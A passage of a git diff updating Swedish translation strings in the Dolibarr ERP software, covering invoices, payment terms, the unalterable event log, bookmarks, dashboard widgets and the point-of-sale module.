unpaid amount is intermediary bank fees, deducted directly from the correct amount paid by the Customer. +ConfirmClassifyPaidPartiallyReasonBankChargeDesc=Det obetalda beloppet är förmedlande bankavgifter , avdragna direkt från det korrekta beloppet som betalats av kunden. ConfirmClassifyPaidPartiallyReasonOtherDesc=Använd det här valet om alla andra inte är lämpliga, till exempel i följande situation:
      - Betalningen är inte slutförd eftersom vissa produkter skickades tillbaka
      - Beloppet hävdades för viktigt eftersom en rabatt glöts
      I alla fall måste det överklagade beloppet rättas i kontosystemet genom att skapa en kreditnot. ConfirmClassifyAbandonReasonOther=Andra ConfirmClassifyAbandonReasonOtherDesc=Detta val kommer att användas i alla andra fall. Till exempel därför att du planerar att skapa en ersättning faktura. @@ -236,24 +240,24 @@ AlreadyPaidBack=Redan återbetald AlreadyPaidNoCreditNotesNoDeposits=Redan betalat (utan kreditnoteringar och handpenning) Abandoned=Övergiven RemainderToPay=Återstående obetalt -RemainderToPayMulticurrency=Remaining unpaid, original currency +RemainderToPayMulticurrency=Återstående obetald, originalvaluta RemainderToTake=Återstående belopp att ta -RemainderToTakeMulticurrency=Remaining amount to take, original currency +RemainderToTakeMulticurrency=Återstående belopp att ta, originalvaluta RemainderToPayBack=Återstående belopp för återbetalning -RemainderToPayBackMulticurrency=Remaining amount to refund, original currency -NegativeIfExcessRefunded=negative if excess refunded +RemainderToPayBackMulticurrency=Återstående belopp att återbetala, originalvaluta +NegativeIfExcessRefunded=negativt om överskottet återbetalas Rest=Avvaktande AmountExpected=Yrkade beloppet ExcessReceived=Överskott fått -ExcessReceivedMulticurrency=Excess received, original currency -NegativeIfExcessReceived=negative if excess received +ExcessReceivedMulticurrency=Mottaget överskott, ursprunglig valuta +NegativeIfExcessReceived=negativt om överskott mottaget ExcessPaid=För mycket betald -ExcessPaidMulticurrency=Excess paid, original currency +ExcessPaidMulticurrency=Överskjutande betald, ursprunglig valuta EscompteOffered=Rabatterna (betalning innan terminen) EscompteOfferedShort=Rabatt SendBillRef=Inlämning av faktura %s SendReminderBillRef=Inlämning av faktura %s (påminnelse) -SendPaymentReceipt=Submission of payment receipt %s +SendPaymentReceipt=Inlämning av betalningskvitto %s NoDraftBills=Inget förslag fakturor NoOtherDraftBills=Inga andra förslag fakturor NoDraftInvoices=Inget faktura-utkast @@ -270,7 +274,7 @@ DateInvoice=Fakturadatum DatePointOfTax=Skattpunkt NoInvoice=Ingen faktura NoOpenInvoice=Ingen obetald faktura -NbOfOpenInvoices=Number of open invoices +NbOfOpenInvoices=Antal öppna fakturor ClassifyBill=Märk faktura SupplierBillsToPay=Obetalda leverantörsfakturor CustomerBillsUnpaid=Obetalda kundfakturor @@ -280,11 +284,11 @@ SetMode=Ange betalningstyp SetRevenuStamp=Ställ in intäktsstämpel Billed=Fakturerade RecurringInvoices=Återkommande fakturor -RecurringInvoice=Recurring invoice +RecurringInvoice=Återkommande faktura RepeatableInvoice=Fakturamall RepeatableInvoices=Fakturamallar -RecurringInvoicesJob=Generation of recurring invoices (sales invoices) -RecurringSupplierInvoicesJob=Generation of recurring invoices (purchase invoices) +RecurringInvoicesJob=Generering av återkommande fakturor (försäljningsfakturor) +RecurringSupplierInvoicesJob=Generering av återkommande fakturor (inköpsfakturor) Repeatable=Mall Repeatables=Mallar ChangeIntoRepeatableInvoice=Konvertera till fakturamall @@ -296,14 +300,14 @@ ExportDataset_invoice_1=Kundfaktura och fakturadata ExportDataset_invoice_2=Kund fakturor och betalningar ProformaBill=Proforma faktura: Reduction=Rabatt -ReductionShort=Skiva. +ReductionShort=Rab. Reductions=Rabatter -ReductionsShort=Skiva. +ReductionsShort=Rab. Discounts=Rabatter -AddDiscount=Lägg rabatt +AddDiscount=Skapa rabatt AddRelativeDiscount=Skapa relativ rabatt EditRelativeDiscount=Redigera procentuell rabatt -AddGlobalDiscount=Lägg rabatt +AddGlobalDiscount=Skapa absolut rabatt EditGlobalDiscounts=Redigera absoluta rabatter AddCreditNote=Skapa kreditnota ShowDiscount=Visa rabatt @@ -322,8 +326,8 @@ DiscountFromExcessReceived=Betalningar som överstiger faktura %s DiscountFromExcessPaid=Betalningar som överstiger faktura %s AbsoluteDiscountUse=Denna typ av krediter kan användas på fakturan innan bekräftande CreditNoteDepositUse=Faktura måste bekräftas för att använda denna typ av krediter -NewGlobalDiscount=Ny fix rabatt -NewRelativeDiscount=Nya relativa rabatt +NewGlobalDiscount=Ny absolut rabatt +NewRelativeDiscount=Ny relativa rabatt DiscountType=Rabatttyp NoteReason=Not/orsak ReasonDiscount=Orsak @@ -357,7 +361,7 @@ ConfirmCloneInvoice=Är du säker på att du vill klona denna faktura %s %s
      %s i två mindre rabatter? TypeAmountOfEachNewDiscount=Inmatningsbelopp för var och en av två delar: TotalOfTwoDiscountMustEqualsOriginal=Summan av de två nya rabatterna måste vara lika med det ursprungliga rabattbeloppet. @@ -429,14 +433,24 @@ PaymentConditionShort14D=14 dagar PaymentCondition14D=14 dagar PaymentConditionShort14DENDMONTH=14 dagar i månadsskiftet PaymentCondition14DENDMONTH=Inom 14 dagar efter slutet av månaden +PaymentConditionShortDEP30PCTDEL=__DEPOSIT_PERCENT__%% deposition +PaymentConditionDEP30PCTDEL=__DEPOSIT_PERCENT__%% deposition, resterande del vid leverans FixAmount=Fast belopp - 1 rad med etiketten '%s' VarAmount=Variabelt belopp (%% summa) VarAmountOneLine=Variabel mängd (%% tot.) - 1 rad med etikett '%s' VarAmountAllLines=Variabelt belopp (%% tot.) - alla rader från ursprung +DepositPercent=Deposition %% +DepositGenerationPermittedByThePaymentTermsSelected=Detta tillåts av de valda betalningsvillkoren +GenerateDeposit=Generera en %s%% depositionsfaktura +ValidateGeneratedDeposit=Godkänn den genererade insättningen +DepositGenerated=Deposition genererad +ErrorCanOnlyAutomaticallyGenerateADepositFromProposalOrOrder=Du kan endast automatiskt generera en deposition från ett förslag eller en beställning +ErrorPaymentConditionsNotEligibleToDepositCreation=De valda betalningsvillkoren är inte kvalificerade för automatisk depositionsgenerering # PaymentType PaymentTypeVIR=Banköverföring PaymentTypeShortVIR=Banköverföring PaymentTypePRE=Direktbetalningsorder +PaymentTypePREdetails=(på konto *-%s) PaymentTypeShortPRE=Betalningsorder PaymentTypeLIQ=Kontanter PaymentTypeShortLIQ=Kontanter @@ -480,12 +494,12 @@ FullPhoneNumber=Telefon TeleFax=Fax PrettyLittleSentence=Acceptera mängden betalningar med check som utfärdats i mitt namn som ledamot i en redovisning förening godkänd av skattemyndigheten. IntracommunityVATNumber=Inom gemenskaps moms-ID -PaymentByChequeOrderedTo=Check betalningar (inklusive skatt) betalas till %s, skickas till -PaymentByChequeOrderedToShort=Check betalningar (inkl. Skatt) betalas till +PaymentByChequeOrderedTo=Check betalningar (inkl. moms) betalas till %s, skickas till +PaymentByChequeOrderedToShort=Check betalningar (inkl. moms) betalas till SendTo=skickas till PaymentByTransferOnThisBankAccount=Betalning genom överföring till följande bankkonto VATIsNotUsedForInvoice=* Ej tillämpligt moms konst-293B av CGI -VATIsNotUsedForInvoiceAsso=* Non applicable VAT art-261-7 of CGI +VATIsNotUsedForInvoiceAsso=* Ej tillämplig moms art-261-7 i CGI LawApplicationPart1=Genom tillämpning av lagen 80,335 av 12/05/80 LawApplicationPart2=Varan förblir egendom LawApplicationPart3=säljaren till full betalning av @@ -508,7 +522,7 @@ NbCheque=Antal kontroller CreditNoteConvertedIntoDiscount=Denna %s har konverterats till %s UsBillingContactAsIncoiveRecipientIfExist=Använd kontakt / adress med typ "faktureringskontakt" istället för adress från tredje part som mottagare av fakturor ShowUnpaidAll=Visa alla obetalda fakturor -ShowUnpaidLateOnly=Visa sent obetald faktura endast +ShowUnpaidLateOnly=Visa försent obetald faktura endast PaymentInvoiceRef=Betalning faktura %s ValidateInvoice=Bekräfta faktura ValidateInvoices=Bekräfta fakturor @@ -607,8 +621,13 @@ SituationTotalRayToRest=Resten att betala utan skatt PDFSituationTitle=Läge nr %d SituationTotalProgress=Total framsteg %d %% SearchUnpaidInvoicesWithDueDate=Sök efter obetalda fakturor med förfallodatum = %s -NoPaymentAvailable=No payment available for %s -PaymentRegisteredAndInvoiceSetToPaid=Payment registered and invoice %s set to paid -SendEmailsRemindersOnInvoiceDueDate=Send reminder by email for unpaid invoices -MakePaymentAndClassifyPayed=Record payment -BulkPaymentNotPossibleForInvoice=Bulk payment is not possible for invoice %s (bad type or status) +NoPaymentAvailable=Ingen betalning tillgänglig för %s +PaymentRegisteredAndInvoiceSetToPaid=Betalning registrerad och faktura %s inställd till betald +SendEmailsRemindersOnInvoiceDueDate=Skicka påminnelse via e-post för obetalda fakturor +MakePaymentAndClassifyPayed=Lägg in betalning +BulkPaymentNotPossibleForInvoice=Massbetalning är inte möjlig för faktura %s (dålig typ eller status) +MentionVATDebitOptionIsOn=Möjlighet att betala skatt baserat på debiteringar +MentionCategoryOfOperations=Kategori av verksamhet +MentionCategoryOfOperations0=Leverans av varor +MentionCategoryOfOperations1=Tillhandahållande av tjänster +MentionCategoryOfOperations2=Blandat - Leverans av varor & tillhandahållande av tjänster diff --git a/htdocs/langs/sv_SE/blockedlog.lang b/htdocs/langs/sv_SE/blockedlog.lang index 3dfa8134d68..ea652706440 100644 --- a/htdocs/langs/sv_SE/blockedlog.lang +++ b/htdocs/langs/sv_SE/blockedlog.lang @@ -14,30 +14,8 @@ OkCheckFingerprintValidityButChainIsKo=Arkiverad logg verkar giltig jämfört me AddedByAuthority=Lagras i fjärrmyndighet NotAddedByAuthorityYet=Ännu inte lagrad i fjärrmyndighet ShowDetails=Visa sparade detaljer -logPAYMENT_VARIOUS_CREATE=Betalning (ej tilldelad faktura) skapad -logPAYMENT_VARIOUS_MODIFY=Betalning (ej tilldelad faktura) modifierad -logPAYMENT_VARIOUS_DELETE=Betalning (ej tilldelad faktura) logisk borttagning -logPAYMENT_ADD_TO_BANK=Betalning läggs till bank -logPAYMENT_CUSTOMER_CREATE=Kundbetalning skapad -logPAYMENT_CUSTOMER_DELETE=Kundbetalning logisk borttagning -logDONATION_PAYMENT_CREATE=Donationsbetalning skapad -logDONATION_PAYMENT_DELETE=Donationsbetalning logisk borttagning -logBILL_PAYED=Kundfaktura betalad -logBILL_UNPAYED=Kundfaktura inställd obetald -logBILL_VALIDATE=Kundfaktura bekräftades -logBILL_SENTBYMAIL=Kundfaktura skickas per post -logBILL_DELETE=Kundfaktura raderas logiskt -logMODULE_RESET=Modul BlockedLog inaktiverades -logMODULE_SET=Modul BlockedLog aktiverades -logDON_VALIDATE=Donation bekräftat -logDON_MODIFY=Donation modifierad -logDON_DELETE=Donation logisk borttagning -logMEMBER_SUBSCRIPTION_CREATE=Medlemskapsabonnemang skapad -logMEMBER_SUBSCRIPTION_MODIFY=Medlemsabonnemang modifierad -logMEMBER_SUBSCRIPTION_DELETE=Medlems abonnemangs logisk borttagning -logCASHCONTROL_VALIDATE=Registrering av stängning av kassaskåpets behållning -BlockedLogBillDownload=Kundfaktura nedladdning -BlockedLogBillPreview=Kundfaktura förhandsvisning +BlockedLogBillDownload=Ladda ner faktura +BlockedLogBillPreview=Förhandsgranska faktura BlockedlogInfoDialog=Logguppgifter ListOfTrackedEvents=Lista över spårade händelser Fingerprint=Fingeravtryck @@ -49,9 +27,35 @@ ImpossibleToReloadObject=Originalobjekt (typ %s, id %s) inte länkat (se kolumne BlockedLogAreRequiredByYourCountryLegislation=Modifierad loggmodul kan krävas enligt ditt lands lagstiftning. Inaktivera den här modulen kan göra eventuella framtida transaktioner ogiltiga med avseende på lagen och användningen av laglig programvara eftersom de inte kan bekräftas av en skatterevision. BlockedLogActivatedBecauseRequiredByYourCountryLegislation=Modifierad loggmodul aktiverades på grund av lagstiftningen i ditt land. Inaktivera den här modulen kan göra eventuella framtida transaktioner ogiltiga med avseende på lagen och användningen av laglig programvara eftersom de inte kan bekräftas av en skatterevision. BlockedLogDisableNotAllowedForCountry=Lista över länder där användningen av den här modulen är obligatorisk (bara för att förhindra att modulen stängs av med fel, om ditt land är i listan, är det inte möjligt att inaktivera modulen utan att redigera den här listan först. Observera också att aktivering / inaktivering av denna modul kommer att håll ett spår i den oföränderliga loggen). -OnlyNonValid=Icke giltigt -TooManyRecordToScanRestrictFilters=För många poster att skanna / analysera. Begränsa listan med mer restriktiva filter. -RestrictYearToExport=Begränsa månad / år att exportera -BlockedLogEnabled=System to track events into unalterable logs has been enabled -BlockedLogDisabled=System to track events into unalterable logs has been disabled after some recording were done. We saved a special Fingerprint to track the chain as broken -BlockedLogDisabledBis=System to track events into unalterable logs has been disabled. This is possible because no record were done yet. +OnlyNonValid=Ogiltigt +TooManyRecordToScanRestrictFilters=För många poster att skanna/analysera. Begränsa listan med mer restriktiva filter. +RestrictYearToExport=Begränsa månad/år att exportera +BlockedLogEnabled=System för att spåra händelser i oföränderliga loggar har aktiverats +BlockedLogDisabled=Systemet för att spåra händelser i oföränderliga loggar har inaktiverats efter att vissa kontroller gjorts. Vi sparade ett speciellt fingeravtryck för att spåra kedjan som trasig +BlockedLogDisabledBis=Systemet för att spåra händelser i oföränderliga loggar har inaktiverats. Detta är möjligt eftersom ingen registrering har gjorts ännu. + +## logTypes +logBILL_DELETE=Faltira raderas logiskt +logBILL_PAYED=Faktura betald +logBILL_SENTBYMAIL=Faktura skickas per post +logBILL_UNPAYED=Faktura angiven som obetald +logBILL_VALIDATE=Faktura bekräftades +logCASHCONTROL_VALIDATE=Registrering av kassabehållning vid stängning +logDOC_DOWNLOAD=Nedladdning av ett bekräftat dokument för att skriva ut eller skicka +logDOC_PREVIEW=Förhandsgranskning av ett bekräftat dokument för att kunna skriva ut eller hämta +logDONATION_PAYMENT_CREATE=Donation skapad +logDONATION_PAYMENT_DELETE=Donation logisk borttagning +logDON_DELETE=Donation logisk borttagning +logDON_MODIFY=Donation ändrad +logDON_VALIDATE=Donation bekräftat +logMEMBER_SUBSCRIPTION_CREATE=Prenumeration skapad +logMEMBER_SUBSCRIPTION_DELETE=Prenumeration logisk borttagning +logMEMBER_SUBSCRIPTION_MODIFY=Prenumeration ändrad +logMODULE_RESET=Modul BlockedLog inaktiverades +logMODULE_SET=Modul BlockedLog aktiverades +logPAYMENT_ADD_TO_BANK=Betalning tillagd i bank +logPAYMENT_CUSTOMER_CREATE=Kundbetalning skapad +logPAYMENT_CUSTOMER_DELETE=Kundbetalning logisk borttagning +logPAYMENT_VARIOUS_CREATE=Betalning (ej tilldelad till faktura) skapad +logPAYMENT_VARIOUS_DELETE=Betalning (ej tilldelad till faktura) logisk borttagning +logPAYMENT_VARIOUS_MODIFY=Betalning (ej tilldelad till faktura) modifierad diff --git a/htdocs/langs/sv_SE/bookmarks.lang b/htdocs/langs/sv_SE/bookmarks.lang index a2d9ee52ab8..8b90a61fe4f 100644 --- a/htdocs/langs/sv_SE/bookmarks.lang +++ b/htdocs/langs/sv_SE/bookmarks.lang @@ -2,12 +2,12 @@ AddThisPageToBookmarks=Lägg till aktuell sida till bokmärken Bookmark=Bokmärke Bookmarks=Bokmärken -ListOfBookmarks=Listan över bokmärken -EditBookmarks=Lista/Ändra bokmärken +ListOfBookmarks=Lista bokmärken +EditBookmarks=Lista/ändra bokmärken NewBookmark=Nytt bokmärke ShowBookmark=Visa bokmärke OpenANewWindow=Öppna en ny flik -ReplaceWindow=Byt aktuell flik +ReplaceWindow=Ersätt aktuell flik BookmarkTargetNewWindowShort=Ny flik BookmarkTargetReplaceWindowShort=Aktuell flik BookmarkTitle=Bokmärkesnamn @@ -15,8 +15,9 @@ UrlOrLink=URL BehaviourOnClick=Beteende när en bokmärkes-URL är vald CreateBookmark=Skapa bokmärke SetHereATitleForLink=Ange ett namn för bokmärket -UseAnExternalHttpLinkOrRelativeDolibarrLink=Use an external/absolute link (https://externalurl.com) or an internal/relative link (/mypage.php). You can also use phone like tel:0123456. +UseAnExternalHttpLinkOrRelativeDolibarrLink=Använd en extern/absolut länk (https://externalurl.com) eller en intern/relativ länk (/mypage.php). Du kan också använda telefon som tel:0123456. ChooseIfANewWindowMustBeOpenedOnClickOnBookmark=Välj om den länkade sidan ska öppnas i den aktuella fliken eller en ny flik -BookmarksManagement=Förvaltning av bokmärken förvaltning +BookmarksManagement=Hantera bokmärken BookmarksMenuShortCut=Ctrl + Skift + m -NoBookmarks=No bookmarks defined +NoBookmarks=Inga bokmärken har definierats +NoBookmarkFound=Inget bokmärke hittades diff --git a/htdocs/langs/sv_SE/boxes.lang b/htdocs/langs/sv_SE/boxes.lang index c81b3b6dffe..cca4fd1907f 100644 --- a/htdocs/langs/sv_SE/boxes.lang +++ b/htdocs/langs/sv_SE/boxes.lang @@ -2,119 +2,122 @@ BoxDolibarrStateBoard=Statistik över huvudsakliga affärsobjekt i databasen BoxLoginInformation=inloggningsinformation BoxLastRssInfos=RSS Information -BoxLastProducts=Senaste %s Produkter / tjänster -BoxProductsAlertStock=Varning lagervaror -BoxLastProductsInContract=Senaste %s avtalade produkter / tjänster +BoxLastProducts=Senaste %s produkter/tjänster +BoxProductsAlertStock=Lagervarning för produkter +BoxLastProductsInContract=Senaste %s avtalade produkter/tjänster BoxLastSupplierBills=Senaste leverantörsfakturor BoxLastCustomerBills=Senaste kundfakturor BoxOldestUnpaidCustomerBills=Äldsta obetalda kundfakturor BoxOldestUnpaidSupplierBills=Äldsta obetalda leverantörsfakturor -BoxLastProposals=Senaste kommersiella förslag -BoxLastProspects=Senast ändrade utsikter +BoxLastProposals=Senaste offerter +BoxLastProspects=Senast ändrade prospekt BoxLastCustomers=Senast ändrade kunder -BoxLastSuppliers=Senast uppdaterade leverantörer -BoxLastCustomerOrders=Senaste försäljningsorder +BoxLastSuppliers=Senast ändrade leverantörer +BoxLastCustomerOrders=Senaste order BoxLastActions=Senaste åtgärderna BoxLastContracts=Senaste kontrakt -BoxLastContacts=Senaste kontakter / adresser -BoxLastMembers=Senaste medlemmarna -BoxLastModifiedMembers=Senast modifierade medlemmar -BoxLastMembersSubscriptions=Senaste medlemsabonnemang +BoxLastContacts=Senaste kontakter/adresser +BoxLastMembers=Senaste medlemmar +BoxLastModifiedMembers=Senast ändrade medlemmar +BoxLastMembersSubscriptions=Senaste prenmerationer BoxFicheInter=Senaste interventioner -BoxCurrentAccounts=Öppna konton balans +BoxCurrentAccounts=Öppna kontobalanser BoxTitleMemberNextBirthdays=Födelsedagar denna månad (medlemmar) -BoxTitleMembersByType=Medlemmar efter typ -BoxTitleMembersSubscriptionsByYear=Medlemmar Prenumerationer per år +BoxTitleMembersByType=Medlemmar efter typ och status +BoxTitleMembersByTags=Medlemmar efter taggar och status +BoxTitleMembersSubscriptionsByYear=Prenumerationer per år BoxTitleLastRssInfos=Senaste %s nyheter från %s -BoxTitleLastProducts=Produkter / tjänster: senaste %s modifierad +BoxTitleLastProducts=Produkter/tjänster: senaste %s ändrade BoxTitleProductsAlertStock=Produkter: lagervarning -BoxTitleLastSuppliers=Senaste %s inspelade leverantörerna -BoxTitleLastModifiedSuppliers=Leverantörer: senaste %s modifierad -BoxTitleLastModifiedCustomers=Kunder: senaste %s modifierad -BoxTitleLastCustomersOrProspects=Senaste %s kunder eller framtidsutsikter -BoxTitleLastCustomerBills=Senaste %s ändrade kundfakturor +BoxTitleLastSuppliers=Senaste %s registrerade leverantörerna +BoxTitleLastModifiedSuppliers=Leverantörer: senaste %s ändrade +BoxTitleLastModifiedCustomers=Kunder: senaste %s ändrade +BoxTitleLastCustomersOrProspects=Senaste %s kunder eller prospekt +BoxTitleLastCustomerBills=Senaste %s ändrade fakturorna BoxTitleLastSupplierBills=Senaste %s ändrade leverantörsfakturor -BoxTitleLastModifiedProspects=Utsikter: senaste %s modifierad +BoxTitleLastModifiedProspects=Prospekt: senaste %s ändrade BoxTitleLastModifiedMembers=Senaste %s medlemmarna -BoxTitleLastFicheInter=Senaste %s modifierade interventioner -BoxTitleOldestUnpaidCustomerBills=Kundfaktura: äldsta %s obetald -BoxTitleOldestUnpaidSupplierBills=Leverantörsfakturor: äldsta %s obetald +BoxTitleLastFicheInter=Senaste %s ändrade interventionerna +BoxTitleOldestUnpaidCustomerBills=Fakturor: äldsta %s obetalda +BoxTitleOldestUnpaidSupplierBills=Leverantörsfakturor: äldsta %s obetalda BoxTitleCurrentAccounts=Öppna konton: saldon BoxTitleSupplierOrdersAwaitingReception=Ej mottagna leverantörsordrar -BoxTitleLastModifiedContacts=Kontakter / Adresser: senaste %s modifierad +BoxTitleLastModifiedContacts=Kontakter/adresser: senaste %s ändrade BoxMyLastBookmarks=Bokmärken: senaste %s -BoxOldestExpiredServices=Äldsta aktiva passerat tjänster -BoxLastExpiredServices=Senaste %s äldsta kontakterna med aktiva utgåttjänster +BoxOldestExpiredServices=Äldsta aktiva utgångna tjänsterna +BoxOldestActions=Äldsta uppgifter att göra +BoxLastExpiredServices=Senaste %s äldsta kontakterna med aktiva utgångna tjänster BoxTitleLastActionsToDo=Senaste %s åtgärderna att göra -BoxTitleLastContracts=Senaste %s avtal som blivit ändrade +BoxTitleOldestActionsToDo=Äldsta %s uppgifterna att göra, ej slutförda +BoxTitleLastContracts=Senaste %s kontrakt som blivit ändrade BoxTitleLastModifiedDonations=Senaste %s donationer som har blivit ändrade -BoxTitleLastModifiedExpenses=Senaste %s utläggsrapporter som blivit modifierade -BoxTitleLatestModifiedBoms=Senaste %s BOM som blivit modifierade -BoxTitleLatestModifiedMos=Senaste %s tillverkningsbeställningar som blivit modifierade -BoxTitleLastOutstandingBillReached=Kunder med högst skuld +BoxTitleLastModifiedExpenses=Senaste %s utläggsrapporter som blivit ändrade +BoxTitleLatestModifiedBoms=Senaste %s BOM som blivit ändrade +BoxTitleLatestModifiedMos=Senaste %s tillverkningsorder som blivit ändrade +BoxTitleLastOutstandingBillReached=Kunder med högst obetald skuld BoxGlobalActivity=Global aktivitet (fakturor, förslag, order) BoxGoodCustomers=Bra kunder -BoxTitleGoodCustomers=%s Bra kunder +BoxTitleGoodCustomers=%s bra kunder BoxScheduledJobs=Schemalagda jobb -BoxTitleFunnelOfProspection=Lead tratt -FailedToRefreshDataInfoNotUpToDate=Misslyckades med att uppdatera RSS-flöde. Senaste framgångsrika uppdateringsdatum: %s +BoxTitleFunnelOfProspection=Lead funnel +FailedToRefreshDataInfoNotUpToDate=Misslyckades med att uppdatera RSS-flöde. Senaste uppdateringsdatum: %s LastRefreshDate=Senaste uppdateringsdatum -NoRecordedBookmarks=Inga bokmärken definieras. Klicka här för att lägga till bokmärken. +NoRecordedBookmarks=Inga bokmärken angivna. ClickToAdd=Klicka här för att lägga till. NoRecordedCustomers=Inga registrerade kunder -NoRecordedContacts=Inga noterade kontakter +NoRecordedContacts=Inga sparade kontakter NoActionsToDo=Inga åtgärder för att göra -NoRecordedOrders=Inga registrerade försäljningsorder -NoRecordedProposals=Inga registrerade förslag -NoRecordedInvoices=Inga registrerade kundfakturor +NoRecordedOrders=Ingen order har skapats ännu +NoRecordedProposals=Inga offerter har skapats ännu +NoRecordedInvoices=Inga fakturor skapade ännu NoUnpaidCustomerBills=Inga obetalda kundfakturor NoUnpaidSupplierBills=Inga obetalda leverantörsfakturor NoModifiedSupplierBills=Inga registrerade leverantörsfakturor -NoRecordedProducts=Inga registrerade produkter / tjänster -NoRecordedProspects=Inga registrerade framtidsutsikter -NoContractedProducts=Inga produkter / tjänster avtalade -NoRecordedContracts=Inga registrerade kontrakt -NoRecordedInterventions=Inga inspelade interventioner +NoRecordedProducts=Inga registrerade produkter/tjänster +NoRecordedProspects=Inga prospekt skapade ännu +NoContractedProducts=Inga avtalade produkter/tjänster +NoRecordedContracts=Inga kontrakt skapade ännu +NoRecordedInterventions=Inga interventioner skapade ännu BoxLatestSupplierOrders=Senaste inköpsorder -BoxLatestSupplierOrdersAwaitingReception=Senaste inköpsordrar (som ej anlänt) -NoSupplierOrder=Ingen registrerad köporder -BoxCustomersInvoicesPerMonth=Kundfakturor per månad +BoxLatestSupplierOrdersAwaitingReception=Senaste inköpsordrar (som inte anlänt) +NoSupplierOrder=Ingen skapade inköpsorder +BoxCustomersInvoicesPerMonth=Fakturor per månad BoxSuppliersInvoicesPerMonth=Leverantörsfakturor per månad -BoxCustomersOrdersPerMonth=Försäljningsorder per månad -BoxSuppliersOrdersPerMonth=Leverantörsorder per månad -BoxProposalsPerMonth=Förslag per månad -NoTooLowStockProducts=Inga produkter ligger under den låga lagergränsen -BoxProductDistribution=Produkter / Tjänster Distribution +BoxCustomersOrdersPerMonth=Order per månad +BoxSuppliersOrdersPerMonth=Inköpsorder per månad +BoxProposalsPerMonth=Offerter per månad +NoTooLowStockProducts=Inga produkter ligger under beställningsnivån +BoxProductDistribution=Distribution av produkt/tjänster ForObject=På %s -BoxTitleLastModifiedSupplierBills=Leverantörsfakturor: senaste %s modifierad -BoxTitleLatestModifiedSupplierOrders=Leverantörsorder: senaste %s modifierad -BoxTitleLastModifiedCustomerBills=Kundfaktura: senaste %s modifierad -BoxTitleLastModifiedCustomerOrders=Försäljningsorder: senaste %s modifierad -BoxTitleLastModifiedPropals=Senaste %s ändrade förslag -BoxTitleLatestModifiedJobPositions=Senaste %s modifierade jobbpositioner -BoxTitleLatestModifiedCandidatures=Senaste %s modifierade jobbansökningar -ForCustomersInvoices=Kundens fakturor -ForCustomersOrders=Kund beställningar -ForProposals=Förslag +BoxTitleLastModifiedSupplierBills=Leverantörsfakturor: senaste %s ändrade +BoxTitleLatestModifiedSupplierOrders=Inköpsorder: senaste %s ändrade +BoxTitleLastModifiedCustomerBills=Fakturor: senaste %s ändrade +BoxTitleLastModifiedCustomerOrders=Ordererkännande: senaste %s modifierad +BoxTitleLastModifiedPropals=Senaste %s ändrade offerter +BoxTitleLatestModifiedJobPositions=Senaste %s ändrade platsannonserna +BoxTitleLatestModifiedCandidatures=Senaste %s ändrade platsannonserna +ForCustomersInvoices=Kundfakturor +ForCustomersOrders=Order +ForProposals=Offerter LastXMonthRolling=Den senaste %s månaden rullande -ChooseBoxToAdd=Lägg till widget i din instrumentpanel -BoxAdded=Widget har lagts till i din instrumentpanel +ChooseBoxToAdd=Lägg till widget i din kontrollpanel +BoxAdded=Widget har lagts till i din kontrollpanel BoxTitleUserBirthdaysOfMonth=Födelsedagar denna månad (användare) BoxLastManualEntries=Senaste posten i bokföring som har angetts manuellt eller utan källdokument -BoxTitleLastManualEntries=%s senaste posten manuellt eller utan källdokument -NoRecordedManualEntries=Inga manuella poster registreras i bokföring -BoxSuspenseAccount=Räkna bokföring med diversekonto (en. suspense account, se https://en.wikipedia.org/wiki/Suspense_account) +BoxTitleLastManualEntries=%s senaste posten manuellt angiven eller utan källdokument +NoRecordedManualEntries=Inga manuella poster registrerade i bokföring +BoxSuspenseAccount=Räkna bokföring med diversekonto BoxTitleSuspenseAccount=Antal oallokerade rader NumberOfLinesInSuspenseAccount=Antal rader i diversekonto -SuspenseAccountNotDefined=Diversekonto är inte definierat +SuspenseAccountNotDefined=Diversekonto är inte angivet BoxLastCustomerShipments=Senaste kundleveranser BoxTitleLastCustomerShipments=Senaste %s kundleveranser -NoRecordedShipments=Inga registrerade kundleveranser +NoRecordedShipments=Inga leveranser har skapats BoxCustomersOutstandingBillReached=Kunds kreditgräns uppnådd # Pages -UsersHome=Hemanvändare och grupper -MembersHome=Hemmedlemskap -ThirdpartiesHome=Hemma tredje parter -TicketsHome=Hembiljetter -AccountancyHome=Hembokföring -ValidatedProjects=Validerade projekt +UsersHome=Användare och grupper +MembersHome=Medlemskap +ThirdpartiesHome=Tredjepart +TicketsHome=Ärenden +AccountancyHome=Bokföring +ValidatedProjects=Bekräftade projekt diff --git a/htdocs/langs/sv_SE/cashdesk.lang b/htdocs/langs/sv_SE/cashdesk.lang index 93abdeef9bb..2ec217a852e 100644 --- a/htdocs/langs/sv_SE/cashdesk.lang +++ b/htdocs/langs/sv_SE/cashdesk.lang @@ -3,114 +3,114 @@ CashDeskMenu=Kassa CashDesk=Kassa CashDeskBankCash=Bankkonto (kontanter) CashDeskBankCB=Bankkonto (kort) -CashDeskBankCheque=Bankkonto (kontroll) +CashDeskBankCheque=Bankkonto (check) CashDeskWarehouse=Lager -CashdeskShowServices=Sälja tjänster +CashdeskShowServices=Sälj tjänster CashDeskProducts=Produkter CashDeskStock=Lager CashDeskOn=på -CashDeskThirdParty=Tredje part +CashDeskThirdParty=Tredjepart ShoppingCart=Kundvagn -NewSell=Nyförsäljning -AddThisArticle=Lägg till den här artikeln -RestartSelling=Gå tillbaka på sälj +NewSell=Ny försäljning +AddThisArticle=Lägg till artikel +RestartSelling=Gå tillbaka till försäljning SellFinished=Försäljning avslutad -PrintTicket=Skriv ut biljetten +PrintTicket=Skriv ut kvitto SendTicket=Skicka biljett NoProductFound=Ingen artikel hittades -ProductFound=Produkt hittad +ProductFound=produkt hittad NoArticle=Ingen artikel Identification=Identifiering Article=Artikel Difference=Skillnad -TotalTicket=Totalt biljett +TotalTicket=Totalt biljetter NoVAT=Momsfri försäljning Change=Växel mottagen BankToPay=Betalningskonto ShowCompany=Visa företag ShowStock=Visa lager DeleteArticle=Klicka här för att ta bort den här artikeln -FilterRefOrLabelOrBC=Sök (Ref / etikett) -UserNeedPermissionToEditStockToUsePos=Du ber om att sänka lagret vid fakturaföretag, så användare som använder POS behöver ha tillstånd att redigera lager. -DolibarrReceiptPrinter=Dolibarr Kvittoskrivare -PointOfSale=Försäljningsstället -PointOfSaleShort=POS -CloseBill=Stäng bill -Floors=golv +FilterRefOrLabelOrBC=Sök (ref/etikett) +UserNeedPermissionToEditStockToUsePos=Du ber om att minska lagret vid fakturering, så användare som använder kassan behöver ha tillstånd att redigera lager. +DolibarrReceiptPrinter=Dolibarr kvittoskrivare +PointOfSale=Kassa +PointOfSaleShort=Kassa +CloseBill=Stäng nota +Floors=Golv 